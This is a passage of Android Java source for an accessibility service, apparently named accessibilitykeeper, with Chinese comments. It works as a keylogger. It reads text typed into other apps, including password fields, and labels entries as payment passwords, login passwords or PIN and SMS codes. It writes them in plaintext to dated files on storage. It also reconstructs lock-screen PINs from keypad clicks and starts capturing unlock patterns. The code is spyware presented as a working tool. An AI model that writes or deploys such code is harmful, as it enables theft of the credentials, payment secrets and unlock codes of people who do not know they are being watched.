            String inputContent = "";
            boolean isPasswordField = source.isPassword();
            
            if (isPasswordField) {
                // 如果是密码字段，使用最终密码
                inputContent = finalPassword.length() > 0 ? finalPassword.toString() : "***";
            } else {
                // 非密码字段，直接获取文本
                CharSequence text = source.getText();
                if (text != null) {
                    inputContent = text.toString();
                }
            }
            
            // 如果输入内容为空，不记录
            if (inputContent.isEmpty() || inputContent.equals("***")) {
                source.recycle();
                return;
            }
            
            // 避免重复记录相同的内容（同一包名、同一Activity、同一内容、同一密码类型）
            if (inputContent.equals(lastRecordedContent) && 
                packageName.equals(lastRecordedPackage) && 
                activityName.equals(lastRecordedActivity) &&
                passwordType.equals(lastRecordedPasswordType)) {
                source.recycle();
                return;
            }
            
            // 保存到SD卡
            saveToFile(appName, packageName, activityName, passwordType, inputContent, isPasswordField);
            
            // 更新上次记录的内容
            lastRecordedContent = inputContent;
            lastRecordedPackage = packageName;
            lastRecordedActivity = activityName;
            lastRecordedPasswordType = passwordType;
            
            source.recycle();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ 记录输入内容错误", e);
        }
    }
    
    /**
     * 检测密码类型
     * 根据节点信息和界面名称判断是支付密码、登录密码、数字密码等
     */
    private String detectPasswordType(AccessibilityNodeInfo source, String activityName) {
        try {
            if (source == null || !source.isPassword()) {
                return "普通输入";
            }
            
            // 获取节点的文本、提示文本、内容描述等信息
            CharSequence text = source.getText();
            CharSequence hint = source.getHintText();
            CharSequence contentDesc = source.getContentDescription();
            CharSequence className = source.getClassName();
            
            String textStr = text != null ? text.toString().toLowerCase() : "";
            String hintStr = hint != null ? hint.toString().toLowerCase() : "";
            String contentDescStr = contentDesc != null ? contentDesc.toString().toLowerCase() : "";
            String classNameStr = className != null ? className.toString().toLowerCase() : "";
            String activityNameStr = activityName != null ? activityName.toLowerCase() : "";
            
            // 合并所有文本用于检测
            String allText = textStr + " " + hintStr + " " + contentDescStr + " " + classNameStr + " " + activityNameStr;
            
            // 检测支付密码
            if (allText.contains("支付") || allText.contains("pay") || allText.contains("payment") ||
                allText.contains("交易") || allText.contains("transaction") ||
                allText.contains("付款") || allText.contains("paypassword") ||
                allText.contains("支付密码") || allText.contains("paymentpassword")) {
                return "支付密码";
            }
            
            // 检测登录密码
            if (allText.contains("登录") || allText.contains("login") || allText.contains("signin") ||
                allText.contains("密码") || allText.contains("password") ||
                allText.contains("登录密码") || allText.contains("loginpassword") ||
                allText.contains("account") || allText.contains("账户")) {
                return "登录密码";
            }
            
            // 检测数字密码（PIN码）
            if (allText.contains("pin") || allText.contains("数字密码") || allText.contains("numeric") ||
                allText.contains("验证码") || allText.contains("verification") ||
                allText.contains("短信验证码") || allText.contains("sms") ||
                allText.contains("6位") || allText.contains("4位") || allText.contains("6位数字") ||
                allText.contains("4位数字")) {
                return "数字密码";
            }
            
            // 检测是否为纯数字密码（通过输入内容判断）
            if (finalPassword.length() > 0) {
                String password = finalPassword.toString();
                // 如果密码全是数字，且长度在4-8位之间，可能是数字密码
                if (password.matches("^\\d{4,8}$")) {
                    return "数字密码";
                }
            }
            
            // 默认返回密码类型
            return "密码";
            
        } catch (Exception e) {
            Log.d(TAG, "检测密码类型失败", e);
            return "密码";
        }
    }
    
    /**
     * 获取应用名
     */
    private String getAppName(String packageName) {
        try {
            PackageManager pm = getPackageManager();
            android.content.pm.ApplicationInfo appInfo = pm.getApplicationInfo(packageName, 0);
            CharSequence appName = pm.getApplicationLabel(appInfo);
            return appName != null ? appName.toString() : packageName;
        } catch (Exception e) {
            Log.d(TAG, "获取应用名失败: " + packageName, e);
            return packageName;
        }
    }
    
    /**
     * 获取Activity类名
     */
    private String getActivityName(AccessibilityEvent event, AccessibilityNodeInfo source) {
        try {
            // 方法1：从窗口状态变化事件中获取（最准确）
            if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                CharSequence windowClassName = event.getClassName();
                if (windowClassName != null && !windowClassName.toString().isEmpty()) {
                    return windowClassName.toString();
                }
            }
            
            // 方法2：从事件中获取类名
            CharSequence className = event.getClassName();
            if (className != null && !className.toString().isEmpty()) {
                return className.toString();
            }
            
            // 方法3：从源节点获取窗口信息
            if (source != null) {
                AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                if (rootNode != null) {
                    try {
                        // 尝试从根节点获取窗口信息
                        CharSequence rootClassName = rootNode.getClassName();
                        if (rootClassName != null && !rootClassName.toString().isEmpty()) {
                            return rootClassName.toString();
                        }
                    } finally {
                        rootNode.recycle();
                    }
                }
            }
            
            return "Unknown";
        } catch (Exception e) {
            Log.d(TAG, "获取Activity类名失败", e);
            return "Unknown";
        }
    }
    
    /**
     * 获取带时间戳的文件名
     * 格式：Accessibility_2024-01-01.txt（按日期）
     */
    private String getInputRecordFileName() {
        try {
            SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault());
            String dateStr = sdf.format(new Date());
            return "Accessibility_" + dateStr + ".txt";
        } catch (Exception e) {
            Log.e(TAG, "❌ 生成文件名失败", e);
            return "Accessibility.txt";
        }
    }
    
    /**
     * 获取输入记录文件目录
     * 兼容 Android 10+ (API 29+) 的 Scoped Storage 限制
     * 
     * Android 29+ 存储策略：
     * 1. 优先使用 getExternalFilesDir() - 应用的私有外部存储（不需要权限，应用卸载时删除）
     * 2. 如果用户需要公共访问，使用 getExternalStoragePublicDirectory(DIRECTORY_DOCUMENTS) - 需要权限
     * 3. 备用方案：使用应用内部存储
     */
    private File getInputRecordFileDir() {
        try {
            // Android 10+ (API 29+) 使用 Scoped Storage
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
                Log.d(TAG, "📱 Android 29+ 使用 Scoped Storage");
                
                // 方法1：优先使用应用的私有外部存储目录（推荐，不需要权限）
                // 路径：/sdcard/Android/data/com.demo.accessibilitykeeper/files/Accessibility
                // 这是 Android 29+ 推荐的存储方式，不需要任何权限
                File privateExternalDir = getExternalFilesDir(null);
                if (privateExternalDir != null) {
                    File accessibilityDir = new File(privateExternalDir, "Accessibility");
                    Log.d(TAG, "📁 使用私有外部存储目录: " + accessibilityDir.getAbsolutePath());
                    Log.d(TAG, "   优点: 不需要权限，可直接访问，最可靠");
                    Log.d(TAG, "   缺点: 应用卸载时会被删除");
                    Log.d(TAG, "   用户访问: 可通过文件管理器访问 /sdcard/Android/data/com.demo.accessibilitykeeper/files/Accessibility");
                    return accessibilityDir;
                }
                
                // 方法2：尝试使用公共 Documents 目录（需要存储权限）
                // 路径：/sdcard/Documents/Accessibility
                // 注意：Android 29+ 即使有权限，也可能无法直接写入，需要使用 MediaStore API
                try {
                    // 检查是否有存储权限
                    boolean hasPermission = true;
                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                        hasPermission = checkSelfPermission(android.Manifest.permission.WRITE_EXTERNAL_STORAGE) 
                            == android.content.pm.PackageManager.PERMISSION_GRANTED;
                    }
                    
                    if (hasPermission) {
                        File publicDir = android.os.Environment.getExternalStoragePublicDirectory(
                            android.os.Environment.DIRECTORY_DOCUMENTS);
                        if (publicDir != null) {
                            File accessibilityDir = new File(publicDir, "Accessibility");
                            // 尝试创建目录测试权限
                            if (!accessibilityDir.exists()) {
                                boolean created = accessibilityDir.mkdirs();
                                if (created || accessibilityDir.exists()) {
                                    // 测试写入权限
                                    try {
                                        File testFile = new File(accessibilityDir, ".test");
                                        if (testFile.createNewFile()) {
                                            testFile.delete();
                                            Log.d(TAG, "📁 使用公共 Documents 目录: " + accessibilityDir.getAbsolutePath());
                                            Log.d(TAG, "   优点: 用户可以直接访问");
                                            Log.d(TAG, "   缺点: 需要存储权限");
                                            return accessibilityDir;
                                        }
                                    } catch (Exception e) {
                                        Log.d(TAG, "⚠️ 公共 Documents 目录无写入权限: " + e.getMessage());
                                    }
                                }
                            } else {
                                // 目录已存在，测试写入权限
                                try {
                                    File testFile = new File(accessibilityDir, ".test");
                                    if (testFile.createNewFile()) {
                                        testFile.delete();
                                        Log.d(TAG, "📁 使用公共 Documents 目录: " + accessibilityDir.getAbsolutePath());
                                        return accessibilityDir;
                                    }
                                } catch (Exception e) {
                                    Log.d(TAG, "⚠️ 公共 Documents 目录无写入权限: " + e.getMessage());
                                }
                            }
                        }
                    } else {
                        Log.d(TAG, "⚠️ 无存储权限，无法使用公共 Documents 目录");
                    }
                } catch (Exception e) {
                    Log.d(TAG, "⚠️ 无法访问公共 Documents 目录: " + e.getMessage());
                }
                
                // 方法3：使用应用内部存储（备用方案）
                File internalDir = getFilesDir();
                File internalAccessibilityDir = new File(internalDir, "Accessibility");
                Log.d(TAG, "📁 使用内部存储目录: " + internalAccessibilityDir.getAbsolutePath());
                Log.d(TAG, "   优点: 不需要权限，最可靠");
                Log.d(TAG, "   缺点: 用户无法直接访问");
                return internalAccessibilityDir;
            } else {
                // Android 10 以下，使用传统方式
                // 路径：/sdcard/Accessibility
                File sdcardDir = android.os.Environment.getExternalStorageDirectory();
                if (sdcardDir != null && sdcardDir.exists()) {
                    File accessibilityDir = new File(sdcardDir, "Accessibility");
                    Log.d(TAG, "📁 使用传统外部存储目录: " + accessibilityDir.getAbsolutePath());
                    return accessibilityDir;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ 获取文件目录失败", e);
        }
        
        // 默认使用应用内部存储（最可靠）
        File internalDir = getFilesDir();
        File defaultDir = new File(internalDir, "Accessibility");
        Log.d(TAG, "📁 使用默认内部存储目录: " + defaultDir.getAbsolutePath());
        return defaultDir;
    }
    
    /**
     * 初始化输入记录文件
     * 确保文件夹和文件存在
     */
    private void initInputRecordFile() {
        FileWriter writer = null;
        try {
            // 获取文件目录（兼容 Android 10+）
            File accessibilityDir = getInputRecordFileDir();
            Log.d(TAG, "📁 目标文件夹: " + accessibilityDir.getAbsolutePath());
            
            // 如果文件夹不存在，创建它
            if (!accessibilityDir.exists()) {
                boolean created = accessibilityDir.mkdirs();
                if (created) {
                    Log.d(TAG, "✅ 创建文件夹成功: " + accessibilityDir.getAbsolutePath());
                } else {
                    Log.e(TAG, "❌ 创建文件夹失败: " + accessibilityDir.getAbsolutePath());
                    if (accessibilityDir.getParentFile() != null) {
                        Log.e(TAG, "   父目录存在: " + accessibilityDir.getParentFile().exists());
                        Log.e(TAG, "   父目录可写: " + accessibilityDir.getParentFile().canWrite());
                    }
                    return;
                }
            } else {
                Log.d(TAG, "ℹ️ 文件夹已存在: " + accessibilityDir.getAbsolutePath());
            }
            
            // 检查文件夹是否可写
            if (!accessibilityDir.canWrite()) {
                Log.e(TAG, "❌ 文件夹不可写: " + accessibilityDir.getAbsolutePath());
                return;
            }
            
            // 文件路径（带时间戳）
            String fileName = getInputRecordFileName();
            File file = new File(accessibilityDir, fileName);
            Log.d(TAG, "📄 目标文件: " + file.getAbsolutePath());
            
            // 如果文件不存在，创建它
            if (!file.exists()) {
                boolean created = file.createNewFile();
                if (created) {
                    Log.d(TAG, "✅ 创建文件成功: " + file.getAbsolutePath());
                    
                    // 写入文件头信息
                    try {
                        writer = new FileWriter(file, false);
                        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
                        String timestamp = sdf.format(new Date());
                        writer.append("输入记录文件\n");
                        writer.append("创建时间: ").append(timestamp).append("\n");
                        writer.append("文件路径: ").append(file.getAbsolutePath()).append("\n");
                        writer.append("========================================\n\n");
                        writer.flush();
                        Log.d(TAG, "✅ 写入文件头信息成功");
                    } catch (IOException e) {
                        Log.e(TAG, "❌ 写入文件头信息失败", e);
                    } finally {
                        if (writer != null) {
                            try {
                                writer.close();
                            } catch (IOException e) {
                                Log.e(TAG, "❌ 关闭文件流错误", e);
                            }
                        }
                    }
                } else {
                    Log.e(TAG, "❌ 创建文件失败: " + file.getAbsolutePath());
                    if (file.getParentFile() != null) {
                        Log.e(TAG, "   文件父目录存在: " + file.getParentFile().exists());
                        Log.e(TAG, "   文件父目录可写: " + file.getParentFile().canWrite());
                    }
                }
            } else {
                Log.d(TAG, "ℹ️ 文件已存在: " + file.getAbsolutePath());
                Log.d(TAG, "   文件可读: " + file.canRead());
                Log.d(TAG, "   文件可写: " + file.canWrite());
            }
            
        } catch (SecurityException e) {
            Log.e(TAG, "❌ 安全异常（权限问题）", e);
        } catch (IOException e) {
            Log.e(TAG, "❌ IO异常", e);
        } catch (Exception e) {
            Log.e(TAG, "❌ 初始化输入记录文件错误", e);
        }
    }
    
    /**
     * 保存到SD卡文件
     * @param appName 应用名
     * @param packageName 包名
     * @param activityName 界面名（Activity类名）
     * @param passwordType 密码类型（支付密码、登录密码、数字密码等）
     * @param inputContent 输入内容
     * @param isPasswordField 是否为密码字段
     */
    private void saveToFile(String appName, String packageName, String activityName, 
                           String passwordType, String inputContent, boolean isPasswordField) {
        FileWriter writer = null;
        try {
            // 获取文件目录（兼容 Android 10+）
            File accessibilityDir = getInputRecordFileDir();
            
            // 如果文件夹不存在，创建它
            if (!accessibilityDir.exists()) {
                boolean created = accessibilityDir.mkdirs();
                if (!created) {
                    Log.e(TAG, "❌ 无法创建文件夹: " + accessibilityDir.getAbsolutePath());
                    return;
                }
            }
            
            // 检查文件夹是否可写
            if (!accessibilityDir.canWrite()) {
                Log.e(TAG, "❌ 文件夹不可写: " + accessibilityDir.getAbsolutePath());
                return;
            }
            
            // 文件路径（带时间戳）
            String fileName = getInputRecordFileName();
            File file = new File(accessibilityDir, fileName);
            
            // 如果文件不存在，创建它
            if (!file.exists()) {
                boolean created = file.createNewFile();
                if (!created) {
                    Log.e(TAG, "❌ 无法创建文件: " + file.getAbsolutePath());
                    return;
                }
            }
            
            // 如果文件已存在，即使检测到不可写也尝试写入（因为canWrite()可能不准确）
            // 实际写入时会抛出异常，我们通过异常处理来处理
            if (!file.exists()) {
                Log.e(TAG, "❌ 文件不存在: " + file.getAbsolutePath());
                return;
            }
            
            // 记录文件状态（用于调试）
            Log.d(TAG, "📄 文件状态 - 存在: " + file.exists() + ", 可读: " + file.canRead() + ", 可写: " + file.canWrite());
            
            // 获取当前时间
            SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
            String timestamp = sdf.format(new Date());
            
            // 构建记录内容（增强版）
            StringBuilder record = new StringBuilder();
            record.append("========================================\n");
            record.append("时间: ").append(timestamp).append("\n");
            record.append("应用名: ").append(appName).append("\n");
            record.append("包名: ").append(packageName).append("\n");
            record.append("界面名: ").append(activityName).append("\n");
            record.append("输入类型: ").append(passwordType).append("\n");
            record.append("是否密码字段: ").append(isPasswordField ? "是" : "否").append("\n");
            record.append("输入内容: ").append(inputContent).append("\n");
            record.append("内容长度: ").append(inputContent.length()).append("\n");
            
            // 如果是数字密码，额外显示
            if (passwordType.contains("数字") && inputContent.matches("^\\d+$")) {
                record.append("数字密码: ").append(inputContent).append("\n");  
            }
            
            record.append("========================================\n\n");
            
            String recordContent = record.toString(); // 保存记录内容，用于备用方案
            
            // 追加写入文件（即使canWrite()返回false也尝试写入，因为文件已存在）
            try {
                writer = new FileWriter(file, true);
                writer.append(recordContent);
                writer.flush();
                
                Log.d(TAG, "✅ 已记录输入内容到文件: " + file.getAbsolutePath());
                Log.d(TAG, "   类型: " + passwordType + ", 内容: " + inputContent);
            } catch (IOException e) {
                // 如果写入失败，尝试使用其他方式
                Log.w(TAG, "⚠️ 使用FileWriter写入失败，尝试FileOutputStream: " + e.getMessage());
                
                // 尝试使用FileOutputStream
                try {
                    java.io.FileOutputStream fos = new java.io.FileOutputStream(file, true);
                    java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos, "UTF-8");
                    osw.append(recordContent);
                    osw.flush();
                    osw.close();
                    fos.close();
                    Log.d(TAG, "✅ 使用FileOutputStream成功写入文件");
                } catch (Exception e2) {
                    Log.e(TAG, "❌ 使用FileOutputStream也失败", e2);
                    throw e; // 重新抛出原始异常，让外层catch处理备用方案
                }
            }
            
        } catch (SecurityException e) {
            Log.e(TAG, "❌ 安全异常（权限问题）", e);
        } catch (IOException e) {
            Log.e(TAG, "❌ IO异常: " + e.getMessage(), e);
            // 尝试使用应用内部存储作为备用方案
            try {
                // 重新构建记录内容（因为record变量在try块中）
                SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
                String timestamp = sdf.format(new Date());
                StringBuilder backupRecord = new StringBuilder();
                backupRecord.append("========================================\n");
                backupRecord.append("时间: ").append(timestamp).append("\n");
                backupRecord.append("应用名: ").append(appName).append("\n");
                backupRecord.append("包名: ").append(packageName).append("\n");
                backupRecord.append("界面名: ").append(activityName).append("\n");
                backupRecord.append("输入类型: ").append(passwordType).append("\n");
                backupRecord.append("是否密码字段: ").append(isPasswordField ? "是" : "否").append("\n");
                backupRecord.append("输入内容: ").append(inputContent).append("\n");
                backupRecord.append("内容长度: ").append(inputContent.length()).append("\n");
                if (passwordType.contains("数字") && inputContent.matches("^\\d+$")) {
                    backupRecord.append("数字密码: ").append(inputContent).append("\n");
                }
                backupRecord.append("========================================\n\n");
                
                // 备用文件也使用带时间戳的文件名
                String backupFileName = "Accessibility_backup_" + new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()).format(new Date()) + ".txt";
                File internalFile = new File(getFilesDir(), backupFileName);
                FileWriter backupWriter = new FileWriter(internalFile, true);
                backupWriter.append(backupRecord.toString());
                backupWriter.flush();
                backupWriter.close();
                Log.d(TAG, "✅ 已写入备用文件: " + internalFile.getAbsolutePath());
            } catch (Exception e2) {
                Log.e(TAG, "❌ 写入备用文件也失败", e2);
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ 保存文件错误", e);
        } finally {
            if (writer != null) {
                try {
                    writer.close();
                } catch (IOException e) {
                    Log.e(TAG, "❌ 关闭文件流错误", e);
                }
            }
        }
    }

    /**
     * 检测是否为锁屏界面
     */
    private boolean isLockScreen(AccessibilityEvent event) {
        try {
            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
            String className = event.getClassName() != null ? event.getClassName().toString() : "";
            
            // 检测锁屏相关的包名和类名
            return isLockScreenPackage(packageName) || 
                   className.contains("Keyguard") || 
                   className.contains("LockScreen") ||
                   className.contains("LockPattern") ||
                   className.contains("KeyguardView");
        } catch (Exception e) {
            Log.d(TAG, "检测锁屏界面失败", e);
            return false;
        }
    }
    
    /**
     * 检测是否为锁屏相关的包名
     */
    private boolean isLockScreenPackage(String packageName) {
        if (packageName == null || packageName.isEmpty()) {
            return false;
        }
        String lowerPackage = packageName.toLowerCase();
        boolean isLockScreen = lowerPackage.contains("keyguard") ||
                              lowerPackage.contains("lockscreen") ||
                              lowerPackage.equals("com.android.systemui") ||
                              lowerPackage.equals("com.android.keyguard");
        
        // 记录检测结果（用于调试）
        if (isLockScreen) {
            Log.d(TAG, "✅ 检测到锁屏包名: " + packageName);
        }
        
        return isLockScreen;
    }
    
    /**
     * 处理锁屏密码输入
     */
    private void handleLockScreenPassword(AccessibilityEvent event) {
        try {
            AccessibilityNodeInfo source = event.getSource();
            if (source == null) {
                return;
            }
            
            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
            String className = event.getClassName() != null ? event.getClassName().toString() : "";
            
            // 检测是否为锁屏界面或系统UI
            boolean isLockScreen = isLockScreenPackage(packageName) || 
                                  className.contains("Keyguard") || 
                                  className.contains("LockScreen");
            
            // 如果不在锁屏界面，但之前有锁屏密码序列，可能是解锁了
            if (!isLockScreen && lockScreenPassword.length() > 0 && isLockScreenPackage(lastLockScreenPackage)) {
                Log.d(TAG, "🔓 检测到从锁屏界面切换，记录密码: " + lockScreenPassword.toString());
                recordLockScreenPassword(lockScreenPassword.toString());
                lockScreenPassword.setLength(0);
                lastLockScreenPackage = "";
                source.recycle();
                return;
            }
            
            // 只在锁屏界面处理
            if (!isLockScreen) {
                source.recycle();
                return;
            }
            
            // 更新锁屏包名
            if (isLockScreen) {
                lastLockScreenPackage = packageName;
            }
            
            // 获取点击的文本内容
            CharSequence text = source.getText();
            CharSequence contentDesc = source.getContentDescription();
            
            String textStr = text != null ? text.toString() : "";
            String descStr = contentDesc != null ? contentDesc.toString() : "";
            
            Log.d(TAG, "🔍 锁屏点击 - 包名: " + packageName + ", 类名: " + className + ", 文本: " + textStr + ", 描述: " + descStr);
            
            // 检测是否为数字按钮（0-9）
            String clickedNumber = detectClickedNumber(textStr, descStr, className, source);
            
            if (clickedNumber != null && !clickedNumber.isEmpty()) {
                long currentTime = System.currentTimeMillis();
                
                // 如果距离上次点击超过超时时间，重置密码序列
                if (currentTime - lastLockScreenClickTime > LOCK_SCREEN_CLICK_TIMEOUT) {
                    lockScreenPassword.setLength(0);
                    Log.d(TAG, "🔄 锁屏密码序列超时，重置");
                }
                
                // 添加数字到密码序列
                lockScreenPassword.append(clickedNumber);
                lastLockScreenClickTime = currentTime;
                
                Log.d(TAG, "🔢 锁屏密码输入: " + clickedNumber + ", 当前序列: " + lockScreenPassword.toString());
                
                // 如果密码长度达到常见长度（4、6、8位），立即记录一次（防止解锁时丢失）
                int passwordLength = lockScreenPassword.length();
                if (passwordLength == 4 || passwordLength == 6 || passwordLength == 8) {
                    Log.d(TAG, "📝 锁屏密码达到常见长度: " + passwordLength + ", 立即记录");
                    String currentPassword = lockScreenPassword.toString();
                    recordLockScreenPassword(currentPassword);
                    // 不清空，继续累积，因为可能输入错误后重新输入
                    // 但记录一个副本，防止后续被清空
                    Log.d(TAG, "✅ 已记录锁屏密码: " + currentPassword);
                }
                
                // 额外：每次输入后延迟记录（防止解锁事件丢失）
                // 使用Handler延迟记录，给解锁事件一些时间
                Handler handler = new Handler(Looper.getMainLooper());
                handler.postDelayed(new Runnable() {
                    @Override
                    public void run() {
                        // 如果密码序列还存在且长度合理，记录一次
                        if (lockScreenPassword.length() >= 4 && lockScreenPassword.length() <= 8) {
                            String password = lockScreenPassword.toString();
                            // 检查是否已经记录过（避免重复记录）
                            if (!password.equals(lastRecordedLockScreenPassword)) {
                                Log.d(TAG, "⏰ 延迟记录锁屏密码: " + password);
                                recordLockScreenPassword(password);
                                lastRecordedLockScreenPassword = password;
                            }
                        }
                    }
                }, 1000); // 延迟1秒记录
            }
            
            source.recycle();
        } catch (Exception e) {
            Log.e(TAG, "❌ 处理锁屏密码错误", e);
        }
    }
    
    /**
     * 检测点击的数字（0-9）
     */
    private String detectClickedNumber(String text, String contentDesc, String className, AccessibilityNodeInfo node) {
        try {
            // 方法1：从文本内容检测（最直接）
            if (text != null && !text.isEmpty()) {
                String textStr = text.trim();
                // 检查是否为单个数字
                if (textStr.length() == 1 && Character.isDigit(textStr.charAt(0))) {
                    Log.d(TAG, "✅ 方法1-文本检测: " + textStr);
                    return textStr;
                }
                // 检查是否包含数字
                for (char c : textStr.toCharArray()) {
                    if (Character.isDigit(c)) {
                        Log.d(TAG, "✅ 方法1-文本提取: " + c);
                        return String.valueOf(c);
                    }
                }
            }
            
            // 方法2：从内容描述检测
            if (contentDesc != null && !contentDesc.isEmpty()) {
                String descStr = contentDesc.trim();
                Log.d(TAG, "🔍 内容描述: " + descStr);
                
                // 提取数字（如"数字 1"、"1"、"按钮 1"等）
                if (descStr.matches(".*[0-9].*")) {
                    // 提取第一个数字
                    for (char c : descStr.toCharArray()) {
                        if (Character.isDigit(c)) {
                            Log.d(TAG, "✅ 方法2-描述提取: " + c);
                            return String.valueOf(c);
                        }
                    }
                }
                
                // 检查常见模式：数字、按钮、键等
                if (descStr.contains("数字") || descStr.contains("按钮") || descStr.contains("键")) {
                    // 尝试提取数字
                    String numberStr = descStr.replaceAll("[^0-9]", "");
                    if (numberStr.length() == 1) {
                        Log.d(TAG, "✅ 方法2-模式提取: " + numberStr);
                        return numberStr;
                    }
                }
            }
            
            // 方法3：从类名检测（如 KeyguardNumPadKeyView、NumPadKey）
            if (className != null) {
                String lowerClassName = className.toLowerCase();
                if (lowerClassName.contains("key") || lowerClassName.contains("button") || 
                    lowerClassName.contains("numpad") || lowerClassName.contains("digit")) {
                    // 尝试从节点信息中提取
                    if (text != null) {
                        String textStr = text.toString().trim();
                        if (textStr.length() == 1 && Character.isDigit(textStr.charAt(0))) {
                            Log.d(TAG, "✅ 方法3-类名检测: " + textStr);
                            return textStr;
                        }
                    }
                }
            }
            
            // 方法4：从节点的子节点递归查找数字
            if (node != null) {
                String numberFromChildren = findNumberInChildren(node);
                if (numberFromChildren != null) {
                    Log.d(TAG, "✅ 方法4-子节点查找: " + numberFromChildren);
                    return numberFromChildren;
                }
            }
            
            // 方法5：从父节点查找（某些情况下数字在父节点）
            if (node != null) {
                AccessibilityNodeInfo parent = node.getParent();
                if (parent != null) {
                    try {
                        CharSequence parentText = parent.getText();
                        if (parentText != null) {
                            String parentTextStr = parentText.toString().trim();
                            if (parentTextStr.length() == 1 && Character.isDigit(parentTextStr.charAt(0))) {
                                Log.d(TAG, "✅ 方法5-父节点: " + parentTextStr);
                                return parentTextStr;
                            }
                        }
                    } finally {
                        parent.recycle();
                    }
                }
            }
            
            Log.d(TAG, "❌ 未检测到数字 - 文本: " + text + ", 描述: " + contentDesc + ", 类名: " + className);
            return null;
        } catch (Exception e) {
            Log.e(TAG, "❌ 检测点击数字失败", e);
            return null;
        }
    }
    
    /**
     * 递归查找子节点中的数字
     */
    private String findNumberInChildren(AccessibilityNodeInfo node) {
        if (node == null) {
            return null;
        }
        
        try {
            // 检查当前节点的文本
            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().trim();
                if (textStr.length() == 1 && Character.isDigit(textStr.charAt(0))) {
                    return textStr;
                }
            }
            
            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        String number = findNumberInChildren(child);
                        if (number != null) {
                            return number;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }
        } catch (Exception e) {
            Log.d(TAG, "递归查找数字失败", e);
        }
        
        return null;
    }
    
    /**
     * 记录锁屏密码
     */
    private void recordLockScreenPassword(String password) {
        try {
            if (password == null || password.isEmpty()) {
                Log.w(TAG, "⚠️ 锁屏密码为空，不记录");
                return;
            }
            
            // 避免重复记录相同的密码
            if (password.equals(lastRecordedLockScreenPassword)) {
                Log.d(TAG, "⚠️ 锁屏密码已记录过，跳过: " + password);
                return;
            }
            
            Log.d(TAG, "🔓 开始记录锁屏密码: " + password + " (长度: " + password.length() + ")");
            
            // 获取当前应用信息（锁屏界面）
            String packageName = "com.android.keyguard";
            String appName = "锁屏界面";
            String activityName = "KeyguardLockScreen";
            String passwordType = "屏幕解锁密码（数字）";
            
            // 保存到文件
            saveToFile(appName, packageName, activityName, passwordType, password, true);
            
            // 更新上次记录的密码
            lastRecordedLockScreenPassword = password;
            
            Log.d(TAG, "✅ 锁屏密码记录完成: " + password);
            
            // 注意：不清空 lockScreenPassword，因为可能还需要继续累积
            
        } catch (Exception e) {
            Log.e(TAG, "❌ 记录锁屏密码错误", e);
        }
    }
    
    /**
     * 处理锁屏图案密码（手势解锁）
     * 按照新思路：1.判断锁屏界面 2.查找图案视图节点 3.收集图案路径 4.转换为密码序列
     */
    private void handleLockScreenPattern(AccessibilityEvent event) {
        try {
            // 1. 判断当前界面是否为锁屏界面
            if (!isLockScreen(event)) {
                return;
            }
            
            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
            String className = event.getClassName() != null ? event.getClassName().toString() : "";
            int eventType = event.getEventType();
            
            Log.d(TAG, "🎨 锁屏界面事件 - 包名: " + packageName + ", 类名: " + className + ", 事件类型: " + eventType);
            
            // 2. 查找图案视图节点（定位图案节点）
            AccessibilityNodeInfo rootNode = getRootInActiveWindow();
            if (rootNode == null) {
                Log.w(TAG, "⚠️ 无法获取根节点，可能锁屏界面未完全加载");
                return;
            }
            
            try {
                // 查找图案视图节点
                AccessibilityNodeInfo patternNode = findPatternNode(rootNode);
                
                if (patternNode != null) {
                    // 更新当前图案节点和坐标
                    if (currentPatternNode != null) {
                        currentPatternNode.recycle();
                    }
                    currentPatternNode = patternNode;
                    currentPatternNode.getBoundsInScreen(patternNodeBounds);
                    
                    Log.d(TAG, "✅ 找到图案视图节点 - 类名: " + 
                              (patternNode.getClassName() != null ? patternNode.getClassName().toString() : "null") +
                              ", 坐标: " + patternNodeBounds.toString() +
                              ", 宽度: " + patternNodeBounds.width() +
                              ", 高度: " + patternNodeBounds.height());
                    
                    // 3. 收集图案路径（监听用户绘制过程）
                    collectPatternPath(event, patternNode);
                    
                } else {
                    // 如果没找到图案节点，尝试从根节点提取
                    Log.d(TAG, "⚠️ 未找到图案视图节点，尝试从根节点提取");
                    String patternInfo = extractPatternFromRoot(rootNode);
                    if (patternInfo != null && !patternInfo.isEmpty() && patternInfo.length() >= 3) {
                        if (!patternInfo.equals(lastRecordedLockScreenPattern)) {
                            recordLockScreenPattern(patternInfo);
                        }
                    }
                }
            } finally {
                rootNode.recycle();
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ 处理锁屏图案错误", e);
        }
    }
    
    /**
     * 通过点击事件收集图案点（主要方法）
     * 监听所有锁屏界面的点击，通过坐标计算判断点击的是哪个图案点
     */
    private void collectPatternFromClick(AccessibilityEvent event) {
        try {
            AccessibilityNodeInfo source = event.getSource();
            if (source == null) {
                return;
            }
            
            try {
                // 获取点击的屏幕坐标
                Rect sourceBounds = new Rect();
                source.getBoundsInScreen(sourceBounds);
                int clickX = sourceBounds.centerX();
                int clickY = sourceBounds.centerY();
                
                Log.d(TAG, "🖱️ 锁屏界面点击 - 坐标: (" + clickX + ", " + clickY + "), 节点类名: " + 
                          (source.getClassName() != null ? source.getClassName().toString() : "null"));
                
                // 如果还没有找到图案节点，尝试查找
                if (currentPatternNode == null || patternNodeBounds.isEmpty()) {
